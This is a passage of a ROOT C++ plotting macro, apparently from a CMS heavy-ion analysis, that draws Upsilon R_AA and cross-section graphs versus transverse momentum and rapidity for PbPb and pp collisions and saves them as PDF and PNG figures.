TLegend(0.24,0.75,0.4,0.88);\n legend = new TLegend(0.23,0.50,0.39,0.65);\n legend->SetTextSize(gTextSize);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n if(plot2010){\n TGraphErrors *gpt2010 = new TGraphErrors(nPtBins_2010,pt_2010,raaPt2010,pte_2010,raaPt2010e);\n gpt2010->SetMarkerColor(kTeal+3);\n gpt2010->SetMarkerStyle(33);\n gpt2010->SetMarkerSize(2);\n TGraphErrors *gpt2010s = new TGraphErrors(nPtBins_2010,pt_2010,raaPt2010,centnoErr,raaPt2010s);\n gpt2010s->SetLineColor(8);\n gpt2010s->SetLineWidth(18);\n gpt2010s->SetMarkerSize(0);\n gpt2010s->Draw(\"e\");\n gpt2010->Draw(\"pe\");\n TGraphErrors *gpt2010circle = new TGraphErrors(nPtBins_2010,pt_2010,raaPt2010,pte_2010,raaPt2010e);\n gpt2010circle->SetMarkerStyle(27);\n gpt2010circle->SetMarkerSize(2);\n gpt2010circle->SetLineColor(kBlack);\n gpt2010circle->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n gPad->RedrawAxis();\n\n legend->AddEntry(gpt2010,\"#varUpsilon(1S) JHEP 05 (2012) 063\",\"pe\");\n }\n if(!plotTNP){ legend->AddEntry(gRaaPt1,\"#varUpsilon(1S)\",\"pe\");}\n if(plotTNP)\n {\n legend->AddEntry(gRaaPt1TNP,\"#varUpsilon(1S)\",\"pe\");\n if(plotTight){\n\tlegend->AddEntry(gRaaPt1TNP4,\"#varUpsilon(1S) \",\"pe\");\n }else{\n\tlegend->AddEntry(gRaaPt2TNP,\"#varUpsilon(2S)\",\"pe\");}\n }\n legend->Draw();\n // TLegend *leg2= new TLegend(0.44,0.75,0.6,0.88);\n TLegend *leg2= new TLegend(0.57,0.54,0.73,0.62);\n leg2->SetBorderSize(0);\n leg2->SetTextSize(0.036);\n leg2->SetTextFont(42);\n leg2->SetLineColor(0);\n leg2->SetLineStyle(1);\n leg2->SetLineWidth(0.4);\n leg2->SetFillColor(0);\n leg2->SetFillStyle(0);\n \n if(plotTight){\n leg2->AddEntry(box,\"#varUpsilon(1S) syst. unc. ,p_{T} > 3.5, 4\",\"f\");\n leg2->AddEntry(box1S4,\"#varUpsilon(1S) syst. unc. , p_{T} > 4\",\"f\"); }\n else if(!plotTight){\n leg2->AddEntry(box,\"global syst.\",\"f\");\n // leg2->AddEntry(box2S,\"#varUpsilon(2S) syst. unc.\",\"f\");\n }\n // leg2->Draw();\n gPad->RedrawAxis();\n cRaapt->cd();\n\n // Cent. 0-100 %\n TLatex latexrap;\n latexrap.SetTextSize(gTextSize);\n latexrap.SetTextFont(42);\n latexrap.DrawLatex(1.5,1.2,\"Cent. 0-100%, |y| < 2.4\");\n\n CMS_lumi(cRaapt,103,33);\n cRaapt->Update();\n cRaapt->RedrawAxis();\n cRaapt->GetFrame()->Draw();\n \n if(plotTight){\n cRaapt->SaveAs(basedir2 + TString(\"/RAA_Pt4.pdf\"));\n cRaapt->SaveAs(basedir1 + TString(\"/RAA_Pt4.png\"));\n }else{\n cRaapt->SaveAs(basedir2 + TString(\"/RAA_Pt.pdf\"));\n cRaapt->SaveAs(basedir1 + TString(\"/RAA_Pt.png\"));\n }\n }\n\n\n ////////////////////////////////////////////////////////////////\n /// drawing Rap-binned Data\n ////////////////////////////////////////////////////////////////\n if(plotCS){\n TCanvas *crap = new TCanvas(\"crap\",\"crap\"); \n crap->cd();\n TPad *prap1 = new TPad(\"prap1\",\"prap1\",0.0,0.0,1.0,1.0);\n prap1->SetBottomMargin(0.12);\n prap1->SetTopMargin(0.08);\n prap1->SetRightMargin(0.03);\n prap1->SetLeftMargin(0.12);\n prap1->SetLogy();\n prap1->Draw();\n prap1->cd();\n TF1 *f4Rap = new TF1(\"f4Rap\",\"10\",0,2.4);\n f4Rap->SetLineWidth(0);\n\n f4Rap->GetYaxis()->SetTitleOffset(1.5);\n f4Rap->GetYaxis()->SetTitleSize(0.035);\n f4Rap->GetYaxis()->SetRangeUser(0.01,10);\n f4Rap->GetXaxis()->SetTitle(\"|y| \");\n f4Rap->GetYaxis()->SetTitle(\"(#frac{1}{L_{pp}},#frac{1}{T_{AA}N_{MB}}) #frac{dN}{A #varepsilon dy} [nb]\");\n f4Rap->GetXaxis()->CenterTitle(kTRUE);\n f4Rap->Draw();\n //pbpb data\n TGraphErrors *grap1 = new TGraphErrors(nRapBins_2014,rap2014,CS1S_aa_rap,rap2014e,CS1S_aa_rape);\n grap1->SetMarkerColor(8);\n grap1->SetMarkerStyle(33);\n grap1->SetMarkerSize(2);\n TGraphErrors *grap1circle = new TGraphErrors(nRapBins_2014,rap2014,CS1S_aa_rap,rap2014e,CS1S_aa_rape);\n grap1circle->SetMarkerStyle(27);\n grap1circle->SetMarkerSize(2);\n grap1circle->SetLineColor(kBlack);\n if(!plotTNP){ grap1->Draw(\"pe\");\n grap1circle->Draw(\"p\");\n f4Rap->Draw(\"same\");\n }\n gPad->RedrawAxis();\n TGraphErrors *grap1pp = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_rap2014,rap2014e,CS1S_pp_rap2014e);\n grap1pp->SetMarkerColor(color1Spp);\n grap1pp->SetMarkerStyle(21);\n grap1pp->SetMarkerSize(1.2);\n TGraphErrors *grap1circlepp = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_rap2014,rap2014e,CS1S_pp_rap2014e);\n grap1circlepp->SetMarkerStyle(25);\n grap1circlepp->SetMarkerSize(1.2);\n grap1circlepp->SetLineColor(kBlack);\n if(!plotTNP) {\n grap1pp->Draw(\"pe\");\n grap1circlepp->Draw(\"p\");\n }\n f4Rap->Draw(\"same\");\n\n if(plotTNP){\n TGraphErrors *gRap1syst = new TGraphErrors(nRapBins_2014,rap2014,CS1S_aa_tnp_rap2014,rap2014e,CS1S_aa_tnp_rap2014s);\n gRap1syst->SetLineColor(color1Saa);\n gRap1syst->SetFillStyle(0);\n gRap1syst->SetLineWidth(2);\n gRap1syst->SetMarkerSize(0);\n gRap1syst->Draw(\"2\");\n TGraphErrors *grap1TNP = new TGraphErrors(nRapBins_2014,rap2014,CS1S_aa_tnp_rap2014,0,CS1S_aa_tnp_rap2014e);\n grap1TNP->SetMarkerColor(color1Saa);\n grap1TNP->SetMarkerStyle(21);\n grap1TNP->SetMarkerSize(1.2);\n TGraphErrors *grap1TNPcircle = new TGraphErrors(nRapBins_2014,rap2014,CS1S_aa_tnp_rap2014,0,CS1S_aa_tnp_rap2014e);\n grap1TNPcircle->SetMarkerStyle(25);\n grap1TNPcircle->SetMarkerSize(1.2);\n grap1TNPcircle->SetLineColor(kBlack);\n grap1TNP->Draw(\"pe\");\n grap1TNPcircle->Draw(\"p\");\n f4Rap->Draw(\"same\");\n gPad->RedrawAxis();\n TGraphErrors *gRap1ppsyst = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap2014,rap2014e,CS1S_pp_tnp_rap2014s);\n gRap1ppsyst->SetLineColor(color1Spp);\n gRap1ppsyst->SetFillStyle(0);\n gRap1ppsyst->SetLineWidth(2);\n gRap1ppsyst->SetMarkerSize(0);\n gRap1ppsyst->Draw(\"2\");\n TGraphErrors *grap1TNPpp = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap2014,0,CS1S_pp_tnp_rap2014e);\n grap1TNPpp->SetMarkerColor(1);\n grap1TNPpp->SetMarkerStyle(20);\n grap1TNPpp->SetMarkerSize(1.2);\n TGraphErrors *grap1TNPcirclepp = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap2014,0,CS1S_pp_tnp_rap2014e);\n grap1TNPcirclepp->SetMarkerStyle(24);\n grap1TNPcirclepp->SetMarkerSize(1.2);\n grap1TNPcirclepp->SetLineColor(kBlack);\n grap1TNPpp->Draw(\"pe\");\n grap1TNPcirclepp->Draw(\"p\");\n f4Rap->Draw(\"same\");\n }\n TLatex *l1CMSpt = new TLatex(0.15,5, \"CMS Internal #sqrt{s_{NN}} = 2.76 TeV\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.038);\n l1CMSpt->Draw();\n\n \n TLatex *lyL= new TLatex(0.15,3,\"L_{PbPb} = 166 #mub^{-1}; |y| < 2.4\");\n \n lyL->SetTextSize(0.029);\n lyL->DrawLatex(0.15,2,\"L_{pp} = 5.4 pb^{-1}; |y| < 2.4\");\n lyL->Draw();\n\nTLegend *legendB = new TLegend(0.65,0.82,0.88,0.72);\nlegendB->SetTextSize(0.029);\nlegendB->SetFillStyle(0);\nlegendB->SetFillColor(0);\nlegendB->SetBorderSize(0);\nlegendB->SetTextFont(42);\n if(!plotTNP){legendB->AddEntry(grap1,\"#varUpsilon(1S) PbPb \",\"pe\");\n legendB->AddEntry(grap1pp,\"#varUpsilon(1S) pp \",\"pe\");}\n if(plotTNP){\n legendB->AddEntry(grap1TNP,\"#varUpsilon(1S) PbPb\",\"pe\");\n legendB->AddEntry(grap1TNPpp,\"#varUpsilon(1S) pp\",\"pe\");\n }\n legendB->Draw();\n\n // gPad->RedrawAxis();\n crap->SaveAs(basedir2 + TString(\"/CS1S_ppAA_Rap.pdf\"));\n crap->SaveAs(basedir1 + TString(\"/Xsection_ppAA_1S_Rap.png\"));\n prap1->Close();\n TPad *prap2 = new TPad(\"prap2\",\"prap2\",0.0,0.0,1.0,0.9);\n prap2->SetBottomMargin(0.12);\n prap2->SetTopMargin(0.03);\n prap2->SetRightMargin(0.03);\n prap2->SetLeftMargin(0.16);\n prap2->SetLogy();\n prap2->Draw();\n prap2->cd();\n TLatex *l1CMSrap = new TLatex(0.7,1.27,\"CMS\");\n l1CMSrap->SetTextFont(62);\n l1CMSrap->SetTextSize(0.06);\n l1CMSrap->Draw();\n TLatex *l1CMSpt = new TLatex(0.15,5, \"CMS Internal #sqrt{s_{NN}} = 2.76 TeV\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.038);\n l1CMSpt->Draw();\n TLatex *lyL= new TLatex(0.15,3,\"L_{PbPb} = 166 #mub^{-1}; |y| < 2.4\");\n lyL->SetTextSize(0.029);\n lyL->DrawLatex(0.15,2,\"L_{pp} = 5.4 pb^{-1}; |y| < 2.4\");\n lyL->Draw();\n // crap->SaveAs(basedir1 + TString(\"/test.pdf\"));\n\n TCanvas *crapaa = new TCanvas(\"crapaa\",\"crapaa\"); \n crapaa->SetLogy();\n crapaa->cd();\n // TPad *prap1 = new TPad(\"prap1\",\"prap1\",0.0,0.0,1.0,0.9);\n // prap1->SetBottomMargin(0.12);\n // prap1->SetTopMargin(0.03);\n // prap1->SetRightMargin(0.03);\n // prap1->SetLeftMargin(0.16);\n // prap1->SetLogy();\n // prap1->Draw();\n // prap1->cd();\n TF1 *f4Rapaa = new TF1(\"f4Rapaa\",\"10\",0,2.4);\n f4Rapaa->SetLineWidth(0);\n // f4Rapaa->GetYaxis()->SetTitleOffset(1.5);\n // f4Rapaa->GetYaxis()->SetTitleSize(0.035);\n f4Rapaa->GetYaxis()->SetRangeUser(0.01,1.);\n f4Rapaa->GetXaxis()->SetTitle(\"|y|\");\n f4Rapaa->GetYaxis()->SetTitle(\"#frac{1}{T_{AA}} #frac{dN}{dy} [nb]\");\n f4Rapaa->GetXaxis()->CenterTitle(kTRUE);\n f4Rapaa->GetXaxis()->SetNdivisions(6,8,0,kFALSE);\n f4Rapaa->GetYaxis()->SetTitleOffset(f4Rapaa->GetYaxis()->GetTitleOffset()*0.85);\n f4Rapaa->Draw();\n gRap1syst->Draw(\"2\");\n grap1TNP->Draw(\"pe\");\n grap1TNPcircle->Draw(\"p\");\n TGraphErrors *gRap2syst = new TGraphErrors(nRapBins_2010,rap2010,CS2S_aa_tnp_rap,rap2010e,CS2S_aa_tnp_raps);\n gRap2syst->SetLineColor(color2Saa);\n gRap2syst->SetFillStyle(0);\n gRap2syst->SetLineWidth(2);\n gRap2syst->SetMarkerSize(0);\n gRap2syst->Draw(\"2\");\n TGraphErrors *grap2TNP = new TGraphErrors(nRapBins_2010,rap2010,CS2S_aa_tnp_rap,0,CS2S_aa_tnp_rape);\n grap2TNP->SetMarkerColor(color2Saa);\n grap2TNP->SetMarkerStyle(20);\n grap2TNP->SetMarkerSize(1.2);\n TGraphErrors *grap2TNPcircle = new TGraphErrors(nRapBins_2010,rap2010,CS2S_aa_tnp_rap,0,CS2S_aa_tnp_rape);\n grap2TNPcircle->SetMarkerStyle(24);\n grap2TNPcircle->SetMarkerSize(1.2);\n grap2TNPcircle->SetLineColor(kBlack);\n grap2TNP->Draw(\"pe\");\n grap2TNPcircle->Draw(\"p\");\n gPad->RedrawAxis();\n legendB = new TLegend(0.23,0.44,0.46,0.56);\n legendB->SetTextSize(0.035);\n legendB->SetFillStyle(0);\n legendB->SetFillColor(0);\n legendB->SetBorderSize(0);\n legendB->SetTextFont(42);\n if(!plotTNP){legendB->AddEntry(grap1,\"#varUpsilon(1S) PbPb \",\"pe\");\n legendB->AddEntry(grap2TNP,\"#varUpsilon(2S) PbPb \",\"pe\");}\n if(plotTNP){\n legendB->AddEntry(grap1TNP,\"#varUpsilon(1S) \",\"pe\");\n legendB->AddEntry(grap2TNP,\"#varUpsilon(2S) \",\"pe\");\n }\n legendB->Draw();\n crapaa->cd();\n\n CMS_lumi(gPad,101,33);\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n\n TLatex latexrapaa;\n latexrapaa.SetTextSize(gTextSize);\n latexrapaa.SetTextFont(42);\n TLatex *latexrapaatxt = latexrapaa.DrawLatex(1.6,0.1,\"Cent. 0-100%\");\n\n crapaa->SaveAs(basedir2 + TString(\"/CS_AA_Rap.pdf\"));\n crapaa->SaveAs(basedir1 + TString(\"/Xsection_AA_1S2S_Rap.png\"));\n\n if (plotLin)\n {\n crapaa->SetLogy(0);\n legendB->SetY1NDC(0.44); legendB->SetY2NDC(0.63); legendB->Draw();\n crapaa->cd();\n gPad->Update();\n f4Rapaa->GetYaxis()->SetRangeUser(0.,0.45);\n f4Rapaa->GetYaxis()->SetTitleOffset(1.9);\n f4Rapaa->GetYaxis()->SetTitleSize(0.04);\n f4Rapaa->GetYaxis()->SetLabelSize(0.045);\n latexrapaatxt->SetY(0.16);\n latexrapaatxt->Draw();\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n crapaa->SaveAs(basedir2 + TString(\"/CS_AA_Rap_lin.pdf\"));\n crapaa->SaveAs(basedir1 + TString(\"/Xsection_AA_1S2S_Rap_lin.png\"));\n }\n //////////////////////////////////////////////\n TCanvas *crappp = new TCanvas(\"crappp\",\"crappp\"); \n crappp->SetLogy();\n crappp->cd();\n // TPad *prap1 = new TPad(\"prap1\",\"prap1\",0.0,0.0,1.0,0.91);\n // prap1->SetBottomMargin(0.12);\n // prap1->SetTopMargin(0.03);\n // prap1->SetRightMargin(0.03);\n // prap1->SetLeftMargin(0.16);\n // prap1->SetLogy();\n // prap1->Draw();\n // prap1->cd();\n TF1 *f4Rap = new TF1(\"f4Rap\",\"10\",0,2.4);\n f4Rap->SetLineWidth(0);\n // f4Rap->GetYaxis()->SetTitleOffset(1.5);\n // f4Rap->GetYaxis()->SetTitleSize(0.035);\n f4Rap->GetYaxis()->SetRangeUser(0.01,5);\n f4Rap->GetXaxis()->SetTitle(\"|y|\");\n f4Rap->GetYaxis()->SetTitle(\"#frac{d#sigma}{dy} [nb]\");\n f4Rap->GetXaxis()->CenterTitle(kTRUE);\n f4Rap->GetXaxis()->SetNdivisions(6,8,0,kFALSE);\n f4Rap->GetYaxis()->SetTitleOffset(f4Rap->GetYaxis()->GetTitleOffset()*0.9);\n f4Rap->Draw();\n\n TGraphErrors *gRap1ppsyst = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap2014,rap2014e,CS1S_pp_tnp_rap2014s);\n gRap1ppsyst->SetLineColor(color1Spp);\n gRap1ppsyst->SetFillStyle(0);\n gRap1ppsyst->SetLineWidth(2);\n gRap1ppsyst->SetMarkerSize(0);\n gRap1ppsyst->Draw(\"2\");\n TGraphErrors *grap1TNPpp = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap2014,0,CS1S_pp_tnp_rap2014e);\n grap1TNPpp->SetMarkerColor(color1Spp);\n grap1TNPpp->SetMarkerStyle(21);\n grap1TNPpp->SetMarkerSize(1.2);\n TGraphErrors *grap1TNPcirclepp = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap2014,0,CS1S_pp_tnp_rap2014e);\n grap1TNPcirclepp->SetMarkerStyle(25);\n grap1TNPcirclepp->SetMarkerSize(1.2);\n grap1TNPcirclepp->SetLineColor(kBlack);\n grap1TNPpp->Draw(\"pe\");\n grap1TNPcirclepp->Draw(\"p\");\n f4Rap->Draw(\"same\");\n TGraphErrors *grap2ppTNP = new TGraphErrors(nRapBins_2014,rap2014,CS2S_pp_tnp_rap2014,0,CS2S_pp_tnp_rap2014e);\n grap2ppTNP->SetMarkerColor(color2Spp);\n grap2ppTNP->SetMarkerStyle(20);\n grap2ppTNP->SetMarkerSize(1.2);\n TGraphErrors *grap3ppTNP = new TGraphErrors(nRapBins_2014,rap2014,CS3S_pp_tnp_rap2014,0,CS3S_pp_tnp_rap2014e);\n grap3ppTNP->SetMarkerColor(color3Spp);\n grap3ppTNP->SetMarkerStyle(22);\n grap3ppTNP->SetMarkerSize(1.2);\n TGraphErrors *g2rapcircleTNP = new TGraphErrors(nRapBins_2014,rap2014,CS2S_pp_tnp_rap2014,0,CS2S_pp_tnp_rap2014e);\n g2rapcircleTNP->SetMarkerStyle(24);\n g2rapcircleTNP->SetMarkerSize(1.2);\n g2rapcircleTNP->SetLineColor(kBlack);\n TGraphErrors *g3rapcircleTNP = new TGraphErrors(nRapBins_2014,rap2014,CS3S_pp_tnp_rap2014,0,CS3S_pp_tnp_rap2014e);\n g3rapcircleTNP->SetMarkerStyle(26);\n g3rapcircleTNP->SetMarkerSize(1.2);\n g3rapcircleTNP->SetLineColor(kBlack);\n TGraphErrors *gRap2ppsyst = new TGraphErrors(nRapBins_2014,rap2014,CS2S_pp_tnp_rap2014,rap2014e,CS2S_pp_tnp_rap2014s);\n gRap2ppsyst->SetLineColor(color2Spp);\n gRap2ppsyst->SetFillStyle(0);\n gRap2ppsyst->SetLineWidth(2);\n gRap2ppsyst->SetMarkerSize(0);\n gRap2ppsyst->Draw(\"2\");\n grap2ppTNP->Draw(\"pe\");\n g2rapcircleTNP->Draw(\"p\");\n TGraphErrors *gRap3ppsyst = new TGraphErrors(nRapBins_2014,rap2014,CS3S_pp_tnp_rap2014,rap2014e,CS3S_pp_tnp_rap2014s);\n gRap3ppsyst->SetLineColor(color3Spp);\n gRap3ppsyst->SetFillStyle(0);\n gRap3ppsyst->SetLineWidth(2);\n gRap3ppsyst->SetMarkerSize(0);\n gRap3ppsyst->Draw(\"2\");\n grap3ppTNP->Draw(\"pe\");\n g3rapcircleTNP->Draw(\"p\");\n TGraphErrors *gRap1ppsyst = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap2014,rap2014e,CS1S_pp_tnp_rap2014s);\n gRap1ppsyst->SetLineColor(color1Spp);\n gRap1ppsyst->SetFillStyle(0);\n gRap1ppsyst->SetLineWidth(2);\n gRap1ppsyst->SetMarkerSize(0);\n gRap1ppsyst->Draw(\"2\");\n grap1TNPpp->Draw(\"pe\");\n grap1TNPcirclepp->Draw(\"p\");\n \n legendB = new TLegend(0.22,0.18,0.40,0.37);\n legendB->SetTextSize(gTextSize);\n legendB->SetFillStyle(0);\n legendB->SetFillColor(0);\n legendB->SetBorderSize(0);\n legendB->SetTextFont(42);\n\n legendB->AddEntry(grap1TNPpp,\"#varUpsilon(1S) \",\"pe\");\n legendB->AddEntry(grap2ppTNP,\"#varUpsilon(2S) \",\"pe\");\n legendB->AddEntry(grap3ppTNP,\"#varUpsilon(3S) \",\"pe\");\n legendB->Draw();\n\n gPad->RedrawAxis();\n\n\n CMS_lumi(gPad,102,33);\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n\n crappp->SaveAs(basedir2 + TString(\"/CS1S_ppRap.pdf\")); \n crappp->SaveAs(basedir1 + TString(\"/Xsection_pp_1S_Rap.png\"));\n\n if (plotLin)\n {\n crappp->SetLogy(0);\n legendB->SetY1NDC(0.44); legendB->SetY2NDC(0.63); legendB->Draw();\n crappp->cd();\n gPad->Update();\n f4Rap->GetYaxis()->SetRangeUser(0.,1.);\n f4Rap->GetYaxis()->SetTitleOffset(1.6);\n f4Rap->GetYaxis()->SetTitleSize(0.045);\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n crappp->SaveAs(basedir2 + TString(\"/CS1S_ppRap_lin.pdf\")); \n crappp->SaveAs(basedir1 + TString(\"/Xsection_pp_1S_Rap_lin.png\"));\n }\n }\n //////////////////////////////////////////////////////////////////\n\nif(plotRAA){\n TCanvas *cRaarap = new TCanvas(\"cRaarap\",\"cRaarap\"); \n cRaarap->cd();\n // TPad *prap2 = new TPad(\"prap2\",\"prap2\",0.0,0.0,0.98,0.92);\n // // prap2->SetBottomMargin(0.12);\n // // prap2->SetTopMargin(0.03);\n // // prap2->SetRightMargin(0.03);\n // // prap2->SetLeftMargin(0.12);\n // // prap2->Draw();\n // prap2->cd();\n //one pad to draw RaaRap!\n TF1 *f4RaaRap = new TF1(\"f4RaaRap\",\"1\",0.0,2.4);\n f4RaaRap->SetLineWidth(0);\n f4RaaRap->SetLineColor(kBlack);\n f4RaaRap->GetXaxis()->SetTitle(\"|y|\");\n f4RaaRap->GetYaxis()->SetTitle(\"R_{AA}\");\n // f4RaaRap->GetYaxis()->SetTitleOffset(1.1);\n // f4RaaRap->GetYaxis()->SetTitleSize(0.05);\n f4RaaRap->GetYaxis()->SetRangeUser(0.,1.4);\n f4RaaRap->GetXaxis()->CenterTitle(kTRUE);\n f4RaaRap->GetXaxis()->SetNdivisions(6,8,0,kFALSE);\n f4RaaRap->Draw();\n TGraphErrors *gRaaRap1 = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_rap,rap2014e,RAA_1S_rape);\n gRaaRap1->SetMarkerColor(8);\n gRaaRap1->SetMarkerStyle(21);\n gRaaRap1->SetMarkerSize(1.2);\n TGraphErrors *gRaaRap1circle = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_rap,rap2014e,RAA_1S_rape);\n gRaaRap1circle->SetMarkerStyle(25);\n gRaaRap1circle->SetMarkerSize(1.2);\n gRaaRap1circle->SetLineColor(kBlack);\n if(!plotTNP){ gRaaRap1->Draw(\"pe\");\n gRaaRap1circle->Draw(\"p\");\n f4RaaRap->Draw(\"same\");}\n gPad->RedrawAxis();\n if(plotTNP)\n {\n TGraphErrors *gRaaRap1syst = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,rap2014e,RAA_1S_tnp_raps);\n gRaaRap1syst->SetLineColor(color1Sraa);\n gRaaRap1syst->SetFillStyle(0);\n gRaaRap1syst->SetLineWidth(2);\n gRaaRap1syst->SetMarkerSize(0);\n gRaaRap1syst->Draw(\"2\");\n TGraphErrors *gRaaRap1TNP = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,0,RAA_1S_tnp_rape);\n gRaaRap1TNP->SetMarkerColor(color1Sraa);\n gRaaRap1TNP->SetMarkerStyle(21);\n gRaaRap1TNP->SetMarkerSize(1.2);\n TGraphErrors *gRaaRap1TNPcircle = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,0,RAA_1S_tnp_rape);\n gRaaRap1TNPcircle->SetMarkerStyle(25);\n gRaaRap1TNPcircle->SetMarkerSize(1.2);\n gRaaRap1TNPcircle->SetLineColor(kBlack);\n gRaaRap1TNP->Draw(\"pe\");\n gRaaRap1TNPcircle->Draw(\"p\");\n f4RaaRap->Draw(\"same\");\n gPad->RedrawAxis();\n if(plotTight){\n\tTGraphErrors *gRaaRap1syst4 = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap4,rap2014e,RAA_1S_tnp_rap4s);\n\tgRaaRap1syst4->SetLineColor(color1Sraa);\n\tgRaaRap1syst4->SetFillStyle(0);\n\tgRaaRap1syst4->SetLineWidth(2);\n\tgRaaRap1syst4->SetMarkerSize(0);\n\tgRaaRap1syst4->Draw(\"2\");\n\tTGraphErrors *gRaaRap1TNP4 = new TGraphErrors(nRapBins_2014,rap2014Shift,RAA_1S_tnp_rap4,0,RAA_1S_tnp_rap4e);\n\tgRaaRap1TNP4->SetMarkerColor(color1Sraa);\n\tgRaaRap1TNP4->SetMarkerStyle(21);\n\tgRaaRap1TNP4->SetMarkerSize(1.2);\n\tTGraphErrors *gRaaRap1TNPcircle4 = new TGraphErrors(nRapBins_2014,rap2014Shift,RAA_1S_tnp_rap4,0,RAA_1S_tnp_rap4e);\n\tgRaaRap1TNPcircle4->SetMarkerStyle(25);\n\tgRaaRap1TNPcircle4->SetMarkerSize(1.2);\n\tgRaaRap1TNPcircle4->SetLineColor(kBlack);\n\tgRaaRap1TNP4->Draw(\"pe\");\n\tgRaaRap1TNPcircle4->Draw(\"p\");\n\tf4RaaRap->Draw(\"same\");\n\tgPad->RedrawAxis(); \n }\n else{\n\tTGraphErrors *gRaaRap2TNP = new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,0,RAA_2S_tnp_rape);\n\tgRaaRap2TNP->SetMarkerColor(color2Sraa);\n\tgRaaRap2TNP->SetMarkerStyle(20);\n\tgRaaRap2TNP->SetMarkerSize(1.2);\n\tTGraphErrors *gRaaRap2TNPcircle = new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,0,RAA_2S_tnp_rape);\n\tgRaaRap2TNPcircle->SetMarkerStyle(24);\n\tgRaaRap2TNPcircle->SetMarkerSize(1.2);\n\tgRaaRap2TNPcircle->SetLineColor(kBlack);\n\tTGraphErrors *gRaaRap2syst = new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,rap2010e,RAA_2S_tnp_raps);\n\tgRaaRap2syst->SetLineColor(color2Sraa);\n\tgRaaRap2syst->SetFillStyle(0);\n\tgRaaRap2syst->SetLineWidth(2);\n\tgRaaRap2syst->SetMarkerSize(0);\n\tgRaaRap2syst->Draw(\"2\");\n\tgRaaRap2TNP->Draw(\"pe\");\n\tgRaaRap2TNPcircle->Draw(\"p\");\n\tf4RaaRap->Draw(\"same\");\n\tgPad->RedrawAxis();\n }\n }\n TBox *box = new TBox(2.27,1-syst1S_raa_global,2.4,1+syst1S_raa_global);\n box->SetFillColor(kGray);//color1Sraa);\n box->Draw();\n // TBox *box2 = new TBox(2.27,1-syst2S_raa_global,2.4,1+syst2S_raa_global);\n // box2->SetFillColor(color2Sraa);\n // box2->Draw();\n if(plotTight){\n TBox *box1S4 = new TBox(2.14,1-syst1S_pp_glob,2.27,1+syst1S_pp_glob);\n box1S4->SetFillColor(color2Sraa);\n box1S4->Draw();\n }\n // TLatex *l1CMSrap = new TLatex(0.2,1.45, \"CMS Internal #sqrt{s_{NN}} = 2.76 TeV\");\n // l1CMSrap->SetTextFont(42);\n // l1CMSrap->SetTextSize(0.038);\n // l1CMSrap->Draw();\n // TLatex *lyLRAP= new TLatex(0.2,1.25,\"2011 L_{int}^{PbPb} = 166 #mub^{-1}; 2013 L_{int}^{pp} = 5.4 pb^{-1};\");\n // lyLRAP->SetTextFont(42);\n // lyLRAP->SetTextSize(0.027);\n // lyLRAP->Draw();\n // if(plot2010) {lyLRAP->DrawLatex(0.2,1.35,\"2010 L_{int}^{PbPb} = 7.28 #mub^{-1}; L_{int}^{pp} = 231 nb^{-1};\");}\n prap2->Update();\n legend = new TLegend(0.23,0.50,0.39,0.65);\n legend->SetTextSize(gTextSize);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n if(plot2010){\n TGraphErrors *grap2010 = new TGraphErrors(nRapBins_2010,rap2010,raaRap2010,rap2010e,raaRap2010e);\n grap2010->SetMarkerColor(kTeal+3);\n grap2010->SetMarkerStyle(33);\n grap2010->SetMarkerSize(2);\n \n TGraphErrors *grap2010s = new TGraphErrors(nRapBins_2010,rap2010,raaRap2010,centnoErr,raaRap2010s);\n grap2010s->SetLineColor(8);\n grap2010s->SetLineWidth(18);\n grap2010s->SetMarkerSize(0);\n grap2010s->Draw(\"e\");\n \n grap2010->Draw(\"pe\");\n \n TGraphErrors *grap2010circle = new TGraphErrors(nRapBins_2010,rap2010,raaRap2010,rap2010e,raaRap2010e);\n grap2010circle->SetMarkerStyle(27);\n grap2010circle->SetMarkerSize(2);\n grap2010circle->SetLineColor(kBlack);\n grap2010circle->Draw(\"p\");\n legend->AddEntry(grap2010,\"#varUpsilon(1S) JHEP 05 (2012) 063\",\"pe\");\n f4RaaRap->Draw(\"same\");\n }\n gPad->RedrawAxis(); \n TLegend *leg2= new TLegend(0.57,0.54,0.73,0.62);\n leg2->SetBorderSize(0);\n leg2->SetTextSize(gTextSize);\n leg2->SetTextFont(42);\n leg2->SetLineColor(0);\n leg2->SetLineStyle(1);\n leg2->SetLineWidth(0.4);\n leg2->SetFillColor(0);\n leg2->SetFillStyle(0);\n leg2->AddEntry(box,\"global syst.\",\"f\");\n // leg2->AddEntry(box2,\"#varUpsilon(2S) global syst.\",\"f\");\n // leg2->Draw();\n \n // Cent. 0-100 %\n TLatex latexrap;\n latexrap.SetTextSize(gTextSize);\n latexrap.SetTextFont(42);\n latexrap.DrawLatex(0.15,1.2,\"Cent. 0-100%\");\n \n if(!plotTNP) 